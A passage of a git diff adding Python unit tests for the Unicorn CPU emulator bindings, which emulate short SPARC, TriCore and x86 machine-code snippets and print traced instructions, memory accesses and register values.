||||
|
||||
mu.emu_stop()
|
||||
|
||||
|
||||
@pytest.mark.parametrize("mode,code",
|
||||
[(UC_MODE_32, X86_CODE32_SELF), (UC_MODE_32, X86_CODE32), (UC_MODE_64, X86_CODE64)])
|
||||
# Test X86 32 bit
|
||||
def test_i386(mode, code):
|
||||
if mode == UC_MODE_32:
|
||||
print("Emulate x86_32 code")
|
||||
elif mode == UC_MODE_64:
|
||||
print("Emulate x86_64 code")
|
||||
|
||||
try:
|
||||
# Initialize emulator
|
||||
mu = Uc(UC_ARCH_X86, mode)
|
||||
|
||||
# map 2MB memory for this emulation
|
||||
mu.mem_map(ADDRESS, 2 * 1024 * 1024)
|
||||
|
||||
# write machine code to be emulated to memory
|
||||
mu.mem_write(ADDRESS, code)
|
||||
|
||||
# initialize stack
|
||||
mu.reg_write(UC_X86_REG_ESP, ADDRESS + 0x200000)
|
||||
|
||||
# tracing all basic blocks with customized callback
|
||||
mu.hook_add(UC_HOOK_BLOCK, hook_block)
|
||||
|
||||
# tracing all instructions with customized callback
|
||||
mu.hook_add(UC_HOOK_CODE, hook_code)
|
||||
|
||||
if mode == UC_MODE_32:
|
||||
# handle interrupt ourself
|
||||
mu.hook_add(UC_HOOK_INTR, hook_intr)
|
||||
# handle SYSCALL
|
||||
mu.hook_add(UC_HOOK_INSN, hook_syscall32, None, 1, 0, UC_X86_INS_SYSCALL)
|
||||
elif mode == UC_MODE_64:
|
||||
mu.hook_add(UC_HOOK_INSN, hook_syscall64, None, 1, 0, UC_X86_INS_SYSCALL)
|
||||
|
||||
# emulate machine code in infinite time
|
||||
mu.emu_start(ADDRESS, ADDRESS + len(code))
|
||||
|
||||
# now print out some registers
|
||||
print(">>> Emulation done")
|
||||
|
||||
except UcError as e:
|
||||
print("ERROR: %s" % e)
|
||||
|
||||
|
||||
if __name__ == '__main__':
|
||||
test_i386(UC_MODE_32, X86_CODE32_SELF)
|
||||
print("=" * 20)
|
||||
test_i386(UC_MODE_32, X86_CODE32)
|
||||
print("=" * 20)
|
||||
test_i386(UC_MODE_64, X86_CODE64)
|
||||
63
bindings/python/tests/test_sparc.py
Executable file
63
bindings/python/tests/test_sparc.py
Executable file
@@ -0,0 +1,63 @@
|
||||
#!/usr/bin/env python
|
||||
# Sample code for SPARC of Unicorn. Nguyen Anh Quynh <aquynh@gmail.com>
|
||||
# Python sample ported by Loi Anh Tuan <loianhtuan@gmail.com>
|
||||
|
||||
from __future__ import print_function
|
||||
from unicorn import *
|
||||
from unicorn.sparc_const import *
|
||||
|
||||
# code to be emulated
|
||||
SPARC_CODE = b"\x86\x00\x40\x02" # add %g1, %g2, %g3;
|
||||
# memory address where emulation starts
|
||||
ADDRESS = 0x10000
|
||||
|
||||
|
||||
# callback for tracing basic blocks
|
||||
def hook_block(uc, address, size, user_data):
|
||||
print(">>> Tracing basic block at 0x%x, block size = 0x%x" % (address, size))
|
||||
|
||||
|
||||
# callback for tracing instructions
|
||||
def hook_code(uc, address, size, user_data):
|
||||
print(">>> Tracing instruction at 0x%x, instruction size = 0x%x" % (address, size))
|
||||
|
||||
|
||||
# Test SPARC
|
||||
def test_sparc():
|
||||
print("Emulate SPARC code")
|
||||
try:
|
||||
# Initialize emulator in SPARC EB mode
|
||||
mu = Uc(UC_ARCH_SPARC, UC_MODE_SPARC32 | UC_MODE_BIG_ENDIAN)
|
||||
|
||||
# map 2MB memory for this emulation
|
||||
mu.mem_map(ADDRESS, 2 * 1024 * 1024)
|
||||
|
||||
# write machine code to be emulated to memory
|
||||
mu.mem_write(ADDRESS, SPARC_CODE)
|
||||
|
||||
# initialize machine registers
|
||||
mu.reg_write(UC_SPARC_REG_G1, 0x1230)
|
||||
mu.reg_write(UC_SPARC_REG_G2, 0x6789)
|
||||
mu.reg_write(UC_SPARC_REG_G3, 0x5555)
|
||||
|
||||
# tracing all basic blocks with customized callback
|
||||
mu.hook_add(UC_HOOK_BLOCK, hook_block)
|
||||
|
||||
# tracing all instructions with customized callback
|
||||
mu.hook_add(UC_HOOK_CODE, hook_code)
|
||||
|
||||
# emulate machine code in infinite time
|
||||
mu.emu_start(ADDRESS, ADDRESS + len(SPARC_CODE))
|
||||
|
||||
# now print out some registers
|
||||
print(">>> Emulation done. Below is the CPU context")
|
||||
|
||||
g3 = mu.reg_read(UC_SPARC_REG_G3)
|
||||
print(">>> G3 = 0x%x" % g3)
|
||||
|
||||
except UcError as e:
|
||||
print("ERROR: %s" % e)
|
||||
|
||||
|
||||
if __name__ == '__main__':
|
||||
test_sparc()
|
||||
61
bindings/python/tests/test_tricore.py
Executable file
61
bindings/python/tests/test_tricore.py
Executable file
@@ -0,0 +1,61 @@
|
||||
#!/usr/bin/env python
|
||||
|
||||
"""
|
||||
Created for Unicorn Engine by Eric Poole <eric.poole@aptiv.com>, 2022
|
||||
Copyright 2022 Aptiv
|
||||
"""
|
||||
|
||||
from __future__ import print_function
|
||||
from unicorn import *
|
||||
from unicorn.tricore_const import *
|
||||
|
||||
# code to be emulated
|
||||
TRICORE_CODE = b"\x82\x11\xbb\x00\x00\x08" # mov d0, #0x1; mov.u d0, #0x8000
|
||||
# memory address where emulation starts
|
||||
ADDRESS = 0x10000
|
||||
|
||||
|
||||
# callback for tracing basic blocks
|
||||
def hook_block(uc, address, size, user_data):
|
||||
print(">>> Tracing basic block at 0x%x, block size = 0x%x" % (address, size))
|
||||
|
||||
|
||||
# callback for tracing instructions
|
||||
def hook_code(uc, address, size, user_data):
|
||||
print(">>> Tracing instruction at 0x%x, instruction size = 0x%x" % (address, size))
|
||||
|
||||
|
||||
# Test TriCore
|
||||
def test_tricore():
|
||||
print("Emulate TriCore code")
|
||||
try:
|
||||
# Initialize emulator in TriCore mode
|
||||
mu = Uc(UC_ARCH_TRICORE, UC_MODE_LITTLE_ENDIAN)
|
||||
|
||||
# map 2MB memory for this emulation
|
||||
mu.mem_map(ADDRESS, 2 * 1024 * 1024)
|
||||
|
||||
# write machine code to be emulated to memory
|
||||
mu.mem_write(ADDRESS, TRICORE_CODE)
|
||||
|
||||
# tracing all basic blocks with customized callback
|
||||
mu.hook_add(UC_HOOK_BLOCK, hook_block)
|
||||
|
||||
# tracing one instruction at ADDRESS with customized callback
|
||||
mu.hook_add(UC_HOOK_CODE, hook_code)
|
||||
|
||||
# emulate machine code in infinite time
|
||||
mu.emu_start(ADDRESS, ADDRESS + len(TRICORE_CODE))
|
||||
|
||||
# now print out some registers
|
||||
print(">>> Emulation done. Below is the CPU context")
|
||||
|
||||
r0 = mu.reg_read(UC_TRICORE_REG_D0)
|
||||
print(">>> D0 = 0x%x" % r0)
|
||||
|
||||
except UcError as e:
|
||||
print("ERROR: %s" % e)
|
||||
|
||||
|
||||
if __name__ == '__main__':
|
||||
test_tricore()
|
||||
700
bindings/python/tests/test_x86.py
Executable file
700
bindings/python/tests/test_x86.py
Executable file
@@ -0,0 +1,700 @@
|
||||
#!/usr/bin/env python
|
||||
# Sample code for X86 of Unicorn. Nguyen Anh Quynh <aquynh@gmail.com>
|
||||
|
||||
from __future__ import print_function
|
||||
import pickle
|
||||
from unicorn import *
|
||||
from unicorn.x86_const import *
|
||||
|
||||
X86_CODE32 = b"\x41\x4a\x66\x0f\xef\xc1" # INC ecx; DEC edx; PXOR xmm0, xmm1
|
||||
X86_CODE32_LOOP = b"\x41\x4a\xeb\xfe" # INC ecx; DEC edx; JMP self-loop
|
||||
X86_CODE32_JUMP = b"\xeb\x02\x90\x90\x90\x90\x90\x90" # jmp 4; nop; nop; nop; nop; nop; nop
|
||||
X86_CODE32_JMP_INVALID = b"\xe9\xe9\xee\xee\xee\x41\x4a" # JMP outside; INC ecx; DEC edx
|
||||
X86_CODE32_MEM_READ = b"\x8B\x0D\xAA\xAA\xAA\xAA\x41\x4a" # mov ecx,[0xaaaaaaaa]; INC ecx; DEC edx
|
||||
X86_CODE32_MEM_WRITE = b"\x89\x0D\xAA\xAA\xAA\xAA\x41\x4a" # mov [0xaaaaaaaa], ecx; INC ecx; DEC edx
|
||||
X86_CODE64 = b"\x41\xBC\x3B\xB0\x28\x2A\x49\x0F\xC9\x90\x4D\x0F\xAD\xCF\x49\x87\xFD\x90\x48\x81\xD2\x8A\xCE\x77\x35\x48\xF7\xD9\x4D\x29\xF4\x49\x81\xC9\xF6\x8A\xC6\x53\x4D\x87\xED\x48\x0F\xAD\xD2\x49\xF7\xD4\x48\xF7\xE1\x4D\x19\xC5\x4D\x89\xC5\x48\xF7\xD6\x41\xB8\x4F\x8D\x6B\x59\x4D\x87\xD0\x68\x6A\x1E\x09\x3C\x59"
|
||||
X86_CODE32_INOUT = b"\x41\xE4\x3F\x4a\xE6\x46\x43" # INC ecx; IN AL, 0x3f; DEC edx; OUT 0x46, AL; INC ebx
|
||||
X86_CODE64_SYSCALL = b'\x0f\x05' # SYSCALL
|
||||
X86_CODE16 = b'\x00\x00' # add byte ptr [bx + si], al
|
||||
X86_MMIO_CODE = b"\x89\x0d\x04\x00\x02\x00\x8b\x0d\x04\x00\x02\x00" # mov [0x20004], ecx; mov ecx, [0x20004]
|
||||
|
||||
# memory address where emulation starts
|
||||
ADDRESS = 0x1000000
|
||||
|
||||
|
||||
# callback for tracing basic blocks
|
||||
def hook_block(uc, address, size, user_data):
|
||||
print(">>> Tracing basic block at 0x%x, block size = 0x%x" % (address, size))
|
||||
|
||||
|
||||
# callback for tracing instructions
|
||||
def hook_code(uc, address, size, user_data):
|
||||
print(">>> Tracing instruction at 0x%x, instruction size = 0x%x" % (address, size))
|
||||
eflags = uc.reg_read(UC_X86_REG_EFLAGS)
|
||||
print(">>> --- EFLAGS is 0x%x" % eflags)
|
||||
|
||||
|
||||
def hook_code64(uc, address, size, user_data):
|
||||
print(">>> Tracing instruction at 0x%x, instruction size = 0x%x" % (address, size))
|
||||
rip = uc.reg_read(UC_X86_REG_RIP)
|
||||
print(">>> RIP is 0x%x" % rip)
|
||||
|
||||
|
||||
# callback for tracing invalid memory access (READ or WRITE)
|
||||
def hook_mem_invalid(uc, access, address, size, value, user_data):
|
||||
if access == UC_MEM_WRITE_UNMAPPED:
|
||||
print(">>> Missing memory is being WRITE at 0x%x, data size = %u, data value = 0x%x" \
|
||||
% (address, size, value))
|
||||
# map this memory in with 2MB in size
|
||||
uc.mem_map(0xaaaa0000, 2 * 1024 * 1024)
|
||||
# return True to indicate we want to continue emulation
|
||||
return True
|
||||
else:
|
||||
# return False to indicate we want to stop emulation
|
||||
return False
|
||||
|
||||
|
||||
# callback for tracing memory access (READ or WRITE)
|
||||
def hook_mem_access(uc, access, address, size, value, user_data):
|
||||
if access == UC_MEM_WRITE:
|
||||
print(">>> Memory is being WRITE at 0x%x, data size = %u, data value = 0x%x" \
|
||||
% (address, size, value))
|
||||
else: # READ
|
||||
print(">>> Memory is being READ at 0x%x, data size = %u" \
|
||||
% (address, size))
|
||||
|
||||
|
||||
# callback for IN instruction
|
||||
def hook_in(uc, port, size, user_data):
|
||||
eip = uc.reg_read(UC_X86_REG_EIP)
|
||||
print("--- reading from port 0x%x, size: %u, address: 0x%x" % (port, size, eip))
|
||||
if size == 1:
|
||||
# read 1 byte to AL
|
||||
return 0xf1
|
||||
if size == 2:
|
||||
# read 2 byte to AX
|
||||
return 0xf2
|
||||
if size == 4:
|
||||
# read 4 byte to EAX
|
||||
return 0xf4
|
||||
# we should never reach here
|
||||
return 0
|
||||
|
||||
|
||||
# callback for OUT instruction
|
||||
def hook_out(uc, port, size, value, user_data):
|
||||
eip = uc.reg_read(UC_X86_REG_EIP)
|
||||
print("--- writing to port 0x%x, size: %u, value: 0x%x, address: 0x%x" % (port, size, value, eip))
|
||||
|
||||
# confirm that value is indeed the value of AL/AX/EAX
|
||||
v = 0
|
||||
if size == 1:
|
||||
# read 1 byte in AL
|
||||
v = uc.reg_read(UC_X86_REG_AL)
|
||||
if size == 2:
|
||||
# read 2 bytes in AX
|
||||
v = uc.reg_read(UC_X86_REG_AX)
|
||||
if size == 4:
|
||||
# read 4 bytes in EAX
|
||||
v = uc.reg_read(UC_X86_REG_EAX)
|
||||
|
||||
print("--- register value = 0x%x" % v)
|
||||
|
||||
|
||||
# Test X86 32 bit
|
||||
def test_i386():
|
||||
print("Emulate i386 code")
|
||||
try:
|
||||
# Initialize emulator in X86-32bit mode
|
||||
mu = Uc(UC_ARCH_X86, UC_MODE_32)
|
||||
|
||||
# map 2MB memory for this emulation
|
||||
mu.mem_map(ADDRESS, 2 * 1024 * 1024)
|
||||
|
||||
# write machine code to be emulated to memory
|
||||
mu.mem_write(ADDRESS, X86_CODE32)
|
||||
|
||||
# initialize machine registers
|
||||
mu.reg_write(UC_X86_REG_ECX, 0x1234)
|
||||
mu.reg_write(UC_X86_REG_EDX, 0x7890)
|
||||
mu.reg_write(UC_X86_REG_XMM0, 0x000102030405060708090a0b0c0d0e0f)
|
||||
mu.reg_write(UC_X86_REG_XMM1, 0x00102030405060708090a0b0c0d0e0f0)
|
||||
|
||||
# tracing all basic blocks with customized callback
|
||||
mu.hook_add(UC_HOOK_BLOCK, hook_block)
|
||||
|
||||
# tracing all instructions with customized callback
|
||||
mu.hook_add(UC_HOOK_CODE, hook_code)
|
||||
|
||||
# emulate machine code in infinite time
|
||||
mu.emu_start(ADDRESS, ADDRESS + len(X86_CODE32))
|
||||
|
||||
# now print out some registers
|
||||
print(">>> Emulation done. Below is the CPU context")
|
||||
|
||||
r_ecx = mu.reg_read(UC_X86_REG_ECX)
|
||||
r_edx = mu.reg_read(UC_X86_REG_EDX)
|
||||
r_xmm0 = mu.reg_read(UC_X86_REG_XMM0)
|
||||
print(">>> ECX = 0x%x" % r_ecx)
|
||||
print(">>> EDX = 0x%x" % r_edx)
|
||||
print(">>> XMM0 = 0x%.32x" % r_xmm0)
|
||||
|
||||
# read from memory
|
||||
tmp = mu.mem_read(ADDRESS, 4)
|
||||
print(">>> Read 4 bytes from [0x%x] = 0x" % (ADDRESS), end="")
|
||||
for i in reversed(tmp):
|
||||
print("%x" % (i), end="")
|
||||
print("")
|
||||
|
||||
except UcError as e:
|
||||
print("ERROR: %s" % e)
|
||||
|
||||
|
||||
def test_i386_map_ptr():
|
||||
print("Emulate i386 code - use uc_mem_map_ptr()")
|
||||
try:
|
||||
# Initialize emulator in X86-32bit mode
|
||||
mu = Uc(UC_ARCH_X86, UC_MODE_32)
|
||||
|
||||
# map 2MB memory for this emulation
|
||||
mu.mem_map(ADDRESS, 2 * 1024 * 1024)
|
||||
|
||||
# write machine code to be emulated to memory
|
||||
mu.mem_write(ADDRESS, X86_CODE32)
|
||||
|
||||
# initialize machine registers
|
||||
mu.reg_write(UC_X86_REG_ECX, 0x1234)
|
||||
mu.reg_write(UC_X86_REG_EDX, 0x7890)
|
||||
|
||||
# tracing all basic blocks with customized callback
|
||||
mu.hook_add(UC_HOOK_BLOCK, hook_block)
|
||||
|
||||
# tracing all instructions with customized callback
|
||||
mu.hook_add(UC_HOOK_CODE, hook_code)
|
||||
|
||||
# emulate machine code in infinite time
|
||||
mu.emu_start(ADDRESS, ADDRESS + len(X86_CODE32), 2 * UC_SECOND_SCALE)
|
||||
|
||||
# now print out some registers
|
||||
print(">>> Emulation done. Below is the CPU context")
|
||||
|
||||
r_ecx = mu.reg_read(UC_X86_REG_ECX)
|
||||
r_edx = mu.reg_read(UC_X86_REG_EDX)
|
||||
print(">>> ECX = 0x%x" % r_ecx)
|
||||
print(">>> EDX = 0x%x" % r_edx)
|
||||
|
||||
# read from memory
|
||||
tmp = mu.mem_read(ADDRESS, 4)
|
||||
print(">>> Read 4 bytes from [0x%x] = 0x" % (ADDRESS), end="")
|
||||
for i in reversed(tmp):
|
||||
print("%x" % (i), end="")
|
||||
print("")
|
||||
|
||||
except UcError as e:
|
||||
print("ERROR: %s" % e)
|
||||
|
||||
|
||||
def test_i386_invalid_mem_read():
|
||||
print("Emulate i386 code that read from invalid memory")
|
||||
try:
|
||||
# Initialize emulator in X86-32bit mode
|
||||
mu = Uc(UC_ARCH_X86, UC_MODE_32)
|
||||
|
||||
# map 2MB memory for this emulation
|
||||
mu.mem_map(ADDRESS, 2 * 1024 * 1024)
|
||||
|
||||
# write machine code to be emulated to memory
|
||||
mu.mem_write(ADDRESS, X86_CODE32_MEM_READ)
|
||||
|
||||
# initialize machine registers
|
||||
mu.reg_write(UC_X86_REG_ECX, 0x1234)
|
||||
mu.reg_write(UC_X86_REG_EDX, 0x7890)
|
||||
|
||||
# tracing all basic blocks with customized callback
|
||||
mu.hook_add(UC_HOOK_BLOCK, hook_block)
|
||||
|
||||
# tracing all instructions with customized callback
|
||||
mu.hook_add(UC_HOOK_CODE, hook_code)
|
||||
|
||||
try:
|
||||
# emulate machine code in infinite time
|
||||
mu.emu_start(ADDRESS, ADDRESS + len(X86_CODE32_MEM_READ))
|
||||
except UcError as e:
|
||||
print("Failed on uc_emu_start() with error returned 6: %s" % e)
|
||||
|
||||
# now print out some registers
|
||||
print(">>> Emulation done. Below is the CPU context")
|
||||
|
||||
r_ecx = mu.reg_read(UC_X86_REG_ECX)
|
||||
r_edx = mu.reg_read(UC_X86_REG_EDX)
|
||||
print(">>> ECX = 0x%x" % r_ecx)
|
||||
print(">>> EDX = 0x%x" % r_edx)
|
||||
|
||||
except UcError as e:
|
||||
print("ERROR: %s" % e)
|
||||
|
||||
|
||||
def test_i386_jump():
|
||||
print("Emulate i386 code with jump")
|
||||
try:
|
||||
# Initialize emulator in X86-32bit mode
|
||||
mu = Uc(UC_ARCH_X86, UC_MODE_32)
|
||||
|
||||
# map 2MB memory for this emulation
|
||||
mu.mem_map(ADDRESS, 2 * 1024 * 1024)
|
||||
|
||||
# write machine code to be emulated to memory
|
||||
mu.mem_write(ADDRESS, X86_CODE32_JUMP)
|
||||
|
||||
# tracing all basic blocks with customized callback
|
||||
mu.hook_add(UC_HOOK_BLOCK, hook_block, begin=ADDRESS, end=ADDRESS)
|
||||
|
||||
# tracing all instructions with customized callback
|
||||
mu.hook_add(UC_HOOK_CODE, hook_code, begin=ADDRESS, end=ADDRESS)
|
||||
|
||||
try:
|
||||
# emulate machine code in infinite time
|
||||
mu.emu_start(ADDRESS, ADDRESS + len(X86_CODE32_JUMP))
|
||||
except UcError as e:
|
||||
print("ERROR: %s" % e)
|
||||
|
||||
print(">>> Emulation done. Below is the CPU context")
|
||||
|
||||
except UcError as e:
|
||||
print("ERROR: %s" % e)
|
||||
|
||||
|
||||
def test_i386_invalid_mem_write():
|
||||
print("Emulate i386 code that write to invalid memory")
|
||||
try:
|
||||
# Initialize emulator in X86-32bit mode
|
||||
mu = Uc(UC_ARCH_X86, UC_MODE_32)
|
||||
|
||||
# map 2MB memory for this emulation
|
||||
mu.mem_map(ADDRESS, 2 * 1024 * 1024)
|
||||
|
||||
# write machine code to be emulated to memory
|
||||
mu.mem_write(ADDRESS, X86_CODE32_MEM_WRITE)
|
||||
|
||||
# initialize machine registers
|
||||
mu.reg_write(UC_X86_REG_ECX, 0x1234)
|
||||
mu.reg_write(UC_X86_REG_EDX, 0x7890)
|
||||
|
||||
# tracing all basic blocks with customized callback
|
||||
mu.hook_add(UC_HOOK_BLOCK, hook_block)
|
||||
|
||||
# tracing all instructions with customized callback
|
||||
mu.hook_add(UC_HOOK_CODE, hook_code)
|
||||
|
||||
# intercept invalid memory events
|
||||
mu.hook_add(UC_HOOK_MEM_READ_UNMAPPED | UC_HOOK_MEM_WRITE_UNMAPPED, hook_mem_invalid)
|
||||
|
||||
try:
|
||||
# emulate machine code in infinite time
|
||||
mu.emu_start(ADDRESS, ADDRESS + len(X86_CODE32_MEM_WRITE))
|
||||
except UcError as e:
|
||||
print("ERROR: %s" % e)
|
||||
|
||||
# now print out some registers
|
||||
print(">>> Emulation done. Below is the CPU context")
|
||||
|
||||
r_ecx = mu.reg_read(UC_X86_REG_ECX)
|
||||
r_edx = mu.reg_read(UC_X86_REG_EDX)
|
||||
print(">>> ECX = 0x%x" % r_ecx)
|
||||
print(">>> EDX = 0x%x" % r_edx)
|
||||
|
||||
# read from memory
|
||||
print(">>> Read 4 bytes from [0x%x] = 0x" % (0xaaaaaaaa), end="")
|
||||
tmp = mu.mem_read(0xaaaaaaaa, 4)
|
||||
for i in reversed(tmp):
|
||||
if i != 0:
|
||||
print("%x" % i, end="")
|
||||
print("")
|
||||
|
||||
try:
|
||||
tmp = mu.mem_read(0xffffffaa, 4)
|
||||
print(">>> Read 4 bytes from [0x%x] = 0x" % (0xffffffaa), end="")
|
||||
for i in reversed(tmp):
|
||||
print("%x" % i, end="")
|
||||
print("")
|
||||
|
||||
except UcError as e:
|
||||
print(">>> Failed to read 4 bytes from [0xffffffaa]")
|
||||
|
||||
except UcError as e:
|
||||
print("ERROR: %s" % e)
|
||||
|
||||
|
||||
def test_i386_jump_invalid():
|
||||
print("Emulate i386 code that jumps to invalid memory")
|
||||
try:
|
||||
# Initialize emulator in X86-32bit mode
|
||||
mu = Uc(UC_ARCH_X86, UC_MODE_32)
|
||||
|
||||
# map 2MB memory for this emulation
|
||||
mu.mem_map(ADDRESS, 2 * 1024 * 1024)
|
||||
|
||||
# write machine code to be emulated to memory
|
||||
mu.mem_write(ADDRESS, X86_CODE32_JMP_INVALID)
|
||||
|
||||
# initialize machine registers
|
||||
mu.reg_write(UC_X86_REG_ECX, 0x1234)
|
||||
mu.reg_write(UC_X86_REG_EDX, 0x7890)
|
||||
|
||||
# tracing all basic blocks with customized callback
|
||||
mu.hook_add(UC_HOOK_BLOCK, hook_block)
|
||||
|
||||
# tracing all instructions with customized callback
|
||||
mu.hook_add(UC_HOOK_CODE, hook_code)
|
||||
|
||||
try:
|
||||
mu.emu_start(ADDRESS, ADDRESS + len(X86_CODE32_JMP_INVALID))
|
||||
except UcError as e:
|
||||
print("Failed on uc_emu_start() with error returned 8: %s" % e)
|
||||
|
||||
print(">>> Emulation done. Below is the CPU context")
|
||||
|
||||
r_ecx = mu.reg_read(UC_X86_REG_ECX)
|
||||
r_edx = mu.reg_read(UC_X86_REG_EDX)
|
||||
print(">>> ECX = 0x%x" % r_ecx)
|
||||
print(">>> EDX = 0x%x" % r_edx)
|
||||
|
||||
except UcError as e:
|
||||
print("ERROR %s" % e)
|
||||
|
||||
|
||||
def test_i386_loop():
|
||||
print("Emulate i386 code that loop forever")
|
||||
try:
|
||||
# Initialize emulator in X86-32bit mode
|
||||
mu = Uc(UC_ARCH_X86, UC_MODE_32)
|
||||
|
||||
# map 2MB memory for this emulation
|
||||
mu.mem_map(ADDRESS, 2 * 1024 * 1024)
|
||||
|
||||
# write machine code to be emulated to memory
|
||||
mu.mem_write(ADDRESS, X86_CODE32_LOOP)
|
||||
|
||||
# initialize machine registers
|
||||
mu.reg_write(UC_X86_REG_ECX, 0x1234)
|
||||
mu.reg_write(UC_X86_REG_EDX, 0x7890)
|
||||
|
||||
mu.emu_start(ADDRESS, ADDRESS + len(X86_CODE32_LOOP), timeout=2 * UC_SECOND_SCALE)
|
||||
|
||||
print(">>> Emulation done. Below is the CPU context")
|
||||
|
||||
r_ecx = mu.reg_read(UC_X86_REG_ECX)
|
||||
r_edx = mu.reg_read(UC_X86_REG_EDX)
|
||||
print(">>> ECX = 0x%x" % r_ecx)
|
||||
print(">>> EDX = 0x%x" % r_edx)
|
||||
|
||||
except UcError as e:
|
||||
print("ERROR: %s" % e)
|
||||
|
||||
|
||||
# Test X86 32 bit with IN/OUT instruction
|
||||
def test_i386_inout():
|
||||
print("Emulate i386 code with IN/OUT instructions")
|
||||
try:
|
||||
# Initialize emulator in X86-32bit mode
|
||||
mu = Uc(UC_ARCH_X86, UC_MODE_32)
|
||||
|
||||
# map 2MB memory for this emulation
|
||||
mu.mem_map(ADDRESS, 2 * 1024 * 1024)
|
||||
|
||||
# write machine code to be emulated to memory
|
||||
mu.mem_write(ADDRESS, X86_CODE32_INOUT)
|
||||
|
||||
# initialize machine registers
|
||||
mu.reg_write(UC_X86_REG_EAX, 0x1234)
|
||||
mu.reg_write(UC_X86_REG_ECX, 0x6789)
|
||||
|
||||
# tracing all basic blocks with customized callback
|
||||
mu.hook_add(UC_HOOK_BLOCK, hook_block)
|
||||
|
||||
# tracing all instructions with customized callback
|
||||
mu.hook_add(UC_HOOK_CODE, hook_code)
|
||||
|
||||
# handle IN & OUT instruction
|
||||
mu.hook_add(UC_HOOK_INSN, hook_in, None, 1, 0, UC_X86_INS_IN)
|
||||
mu.hook_add(UC_HOOK_INSN, hook_out, None, 1, 0, UC_X86_INS_OUT)
|
||||
|
||||
# emulate machine code in infinite time
|
||||
mu.emu_start(ADDRESS, ADDRESS + len(X86_CODE32_INOUT))
|
||||
|
||||
# now print out some registers
|
||||
print(">>> Emulation done. Below is the CPU context")
|
||||
|
||||
r_ecx = mu.reg_read(UC_X86_REG_ECX)
|
||||
r_eax = mu.reg_read(UC_X86_REG_EAX)
|
||||
print(">>> EAX = 0x%x" % r_eax)
|
||||
print(">>> ECX = 0x%x" % r_ecx)
|
||||
except UcError as e:
|
||||
print("ERROR: %s" % e)
|
||||
|
||||
|
||||
def test_i386_context_save():
|
||||
print("Save/restore CPU context in opaque blob")
|
||||
address = 0
|
||||
code = b'\x40' # inc eax
|
||||
try:
|
||||
# Initialize emulator
|
||||
mu = Uc(UC_ARCH_X86, UC_MODE_32)
|
||||
|
||||
# map 8KB memory for this emulation
|
||||
mu.mem_map(address, 8 * 1024, UC_PROT_ALL)
|
||||
|
||||
# write machine code to be emulated to memory
|
||||
mu.mem_write(address, code)
|
||||
|
||||
# set eax to 1
|
||||
mu.reg_write(UC_X86_REG_EAX, 1)
|
||||
|
||||
print(">>> Running emulation for the first time")
|
||||
mu.emu_start(address, address + 1)
|
||||
|
||||
print(">>> Emulation done. Below is the CPU context")
|
||||
print(">>> EAX = 0x%x" % (mu.reg_read(UC_X86_REG_EAX)))
|
||||
print(">>> Saving CPU context")
|
||||
saved_context = mu.context_save()
|
||||
|
||||
print(">>> Pickling CPU context")
|
||||
pickled_saved_context = pickle.dumps(saved_context)
|
||||
|
||||
print(">>> Running emulation for the second time")
|
||||
mu.emu_start(address, address + 1)
|
||||
print(">>> Emulation done. Below is the CPU context")
|
||||
print(">>> EAX = 0x%x" % (mu.reg_read(UC_X86_REG_EAX)))
|
||||
|
||||
print(">>> Unpickling CPU context")
|
||||
saved_context = pickle.loads(pickled_saved_context)
|
||||
|
||||
print(">>> Modifying some register.")
|
||||
saved_context.reg_write(UC_X86_REG_EAX, 0xc8c8)
|
||||
|
||||
print(">>> CPU context restored. Below is the CPU context")
|
||||
mu.context_restore(saved_context)
|
||||
print(">>> EAX = 0x%x" % (mu.reg_read(UC_X86_REG_EAX)))
|
||||
|
||||
except UcError as e:
|
||||
print("ERROR: %s" % e)
|
||||
|
||||
|
||||
def test_x86_64():
|
||||
print("Emulate x86_64 code")
|
||||
try:
|
||||
# Initialize emulator in X86-64bit mode
|
||||
mu = Uc(UC_ARCH_X86, UC_MODE_64)
|
||||
|
||||
# map 2MB memory for this emulation
|
||||
mu.mem_map(ADDRESS, 2 * 1024 * 1024)
|
||||
|
||||
# write machine code to be emulated to memory
|
||||
mu.mem_write(ADDRESS, X86_CODE64)
|
||||
|
||||
# initialize machine registers
|
||||
mu.reg_write(UC_X86_REG_RAX, 0x71f3029efd49d41d)
|
||||
mu.reg_write(UC_X86_REG_RBX, 0xd87b45277f133ddb)
|
||||
mu.reg_write(UC_X86_REG_RCX, 0xab40d1ffd8afc461)
|
||||
mu.reg_write(UC_X86_REG_RDX, 0x919317b4a733f01)
|
||||
mu.reg_write(UC_X86_REG_RSI, 0x4c24e753a17ea358)
|
||||
mu.reg_write(UC_X86_REG_RDI, 0xe509a57d2571ce96)
|
||||
mu.reg_write(UC_X86_REG_R8, 0xea5b108cc2b9ab1f)
|
||||
mu.reg_write(UC_X86_REG_R9, 0x19ec097c8eb618c1)
|
||||
mu.reg_write(UC_X86_REG_R10, 0xec45774f00c5f682)
|
||||
mu.reg_write(UC_X86_REG_R11, 0xe17e9dbec8c074aa)
|
||||
mu.reg_write(UC_X86_REG_R12, 0x80f86a8dc0f6d457)
|
||||
mu.reg_write(UC_X86_REG_R13, 0x48288ca5671c5492)
|
||||
mu.reg_write(UC_X86_REG_R14, 0x595f72f6e4017f6e)
|
||||
mu.reg_write(UC_X86_REG_R15, 0x1efd97aea331cccc)
|
||||
|
||||
# setup stack
|
||||
mu.reg_write(UC_X86_REG_RSP, ADDRESS + 0x200000)
|
||||
|
||||
# tracing all basic blocks with customized callback
|
||||
mu.hook_add(UC_HOOK_BLOCK, hook_block)
|
||||
|
||||
# tracing all instructions in range [ADDRESS, ADDRESS+20]
|
||||
mu.hook_add(UC_HOOK_CODE, hook_code64, None, ADDRESS, ADDRESS + 20)
|
||||
|
||||
# tracing all memory READ & WRITE access
|
||||
mu.hook_add(UC_HOOK_MEM_WRITE, hook_mem_access)
|
||||
mu.hook_add(UC_HOOK_MEM_READ, hook_mem_access)
|
||||
# actually you can also use READ_WRITE to trace all memory access
|
||||
# mu.hook_add(UC_HOOK_MEM_READ | UC_HOOK_MEM_WRITE, hook_mem_access)
|
||||
|
||||
try:
|
||||
# emulate machine code in infinite time
|
||||
mu.emu_start(ADDRESS, ADDRESS + len(X86_CODE64))
|
||||
except UcError as e:
|
||||
print("ERROR: %s" % e)
|
||||
|
||||
# now print out some registers
|
||||
print(">>> Emulation done. Below is the CPU context")
|
||||
|
||||
rax = mu.reg_read(UC_X86_REG_RAX)
|
||||
rbx = mu.reg_read(UC_X86_REG_RBX)
|
||||
rcx = mu.reg_read(UC_X86_REG_RCX)
|
||||
rdx = mu.reg_read(UC_X86_REG_RDX)
|
||||
rsi = mu.reg_read(UC_X86_REG_RSI)
|
||||
